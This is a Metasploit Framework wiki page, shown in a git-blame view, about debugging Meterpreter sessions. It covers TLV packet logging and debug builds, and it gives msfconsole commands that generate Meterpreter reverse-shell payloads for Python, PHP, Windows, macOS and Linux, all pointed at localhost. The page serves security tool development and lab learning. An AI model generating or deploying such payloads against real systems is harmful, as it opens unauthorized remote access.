Files
metasploit-gs/docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

112 lines
3.7 KiB
Markdown
Raw Normal View History

2022-04-20 18:13:40 +01:00
There are currently two main ways to debug Meterpreter sessions:
2022-04-05 17:59:07 +01:00
2022-04-20 18:13:40 +01:00
1. Log all networking requests between msfconsole and Meterpreter, i.e. TLV Packets
2. Generate a custom Meterpreter debug build with extra logging present
2022-04-05 17:59:07 +01:00
2022-04-20 19:22:06 +01:00
## Log Meterpreter TLV Packets
2022-04-20 18:13:40 +01:00
2022-04-20 19:22:06 +01:00
This can be enabled for any Meterpreter session, and does not require a debug Metasploit build:
2022-04-20 18:13:40 +01:00
```msf
2022-04-20 18:13:40 +01:00
msf6 > setg SessionTlvLogging true
SessionTlvLogging => true
```
2022-04-20 19:22:06 +01:00
Allowed values:
- `setg SessionTlvLogging true` - Enable network logging, defaulting to console
- `setg SessionTlvLogging false` - Disable all network logging
- `setg SessionTlvLogging console` - Log to the current msfconsole instance
- `setg SessionTlvLogging file:/tmp/session.txt` - Write the network traffic logs to an arbitrary file
2022-04-20 18:13:40 +01:00
Example output:
```
meterpreter > getenv USER
SEND: #<Rex::Post::Meterpreter::Packet type=Request tlvs=[
#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1052 command=stdapi_sys_config_getenv>
#<Rex::Post::Meterpreter::Tlv type=REQUEST_ID meta=STRING value="73717259684850511890564936718272">
#<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE meta=STRING value="USER">
]>
RECV: #<Rex::Post::Meterpreter::Packet type=Response tlvs=[
#<Rex::Post::Meterpreter::Tlv type=UUID meta=RAW value="Q\xE63_onC\x9E\xD71\xDE3\xB5Q\xE24">
#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1052 command=stdapi_sys_config_getenv>
#<Rex::Post::Meterpreter::Tlv type=REQUEST_ID meta=STRING value="73717259684850511890564936718272">
#<Rex::Post::Meterpreter::Tlv type=RESULT meta=INT value=0>
#<Rex::Post::Meterpreter::GroupTlv type=ENV_GROUP tlvs=[
#<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE meta=STRING value="USER">
#<Rex::Post::Meterpreter::Tlv type=ENV_VALUE meta=STRING value="demo_user">
]>
]>
Environment Variables
=====================
Variable Value
-------- -----
USER demo_user
```
2022-04-20 19:22:06 +01:00
## Meterpreter debug builds
2022-04-20 18:13:40 +01:00
2022-04-20 19:22:06 +01:00
The following options can be specified when generating Meterpreter payloads:
- `MeterpreterDebugBuild` - When set to `true`, the generated Meterpreter payload will have additional logging present
2022-04-29 10:18:52 +01:00
- `MeterpreterDebugLogging` - Configure the logging mode. This currently only allows writing to a file on the remote host. Requires `MeterpreterDebugBuild` to be set to true. Example value: `setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt`
2022-04-20 19:22:06 +01:00
- `MeterpreterTryToFork` - When set to `true` the Meterpreter payload will try to fork from the currently running process. Setting to `false` is useful to see any `stdout` logging that occurs
The debug build will have additional log statements, which can be easily detected. These debug builds are useful for scenarios where A/V is not running, in local labs for learning purposes, or raising Metasploit issue reports etc.
### Python
```
use payload/python/meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler
python3 shell.py
```
### PHP
```
use payload/php/meterpreter_reverse_http
generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true
to_handler
php shell_http.php
```
2022-04-20 18:13:40 +01:00
### Windows
2022-05-20 10:23:41 +01:00
```
use windows/x64/meterpreter_reverse_tcp
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
2022-05-20 10:23:41 +01:00
to_handler
```
2022-05-20 10:23:41 +01:00
### Mac
```
use osx/x64/meterpreter_reverse_tcp
generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'
2022-05-20 10:23:41 +01:00
to_handler
```
2022-05-20 10:23:41 +01:00
### Linux
```
use linux/x64/meterpreter_reverse_tcp
generate -f elf -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'
2022-05-20 10:23:41 +01:00
to_handler
```
### Java
2022-04-05 17:59:07 +01:00
Functionality not supported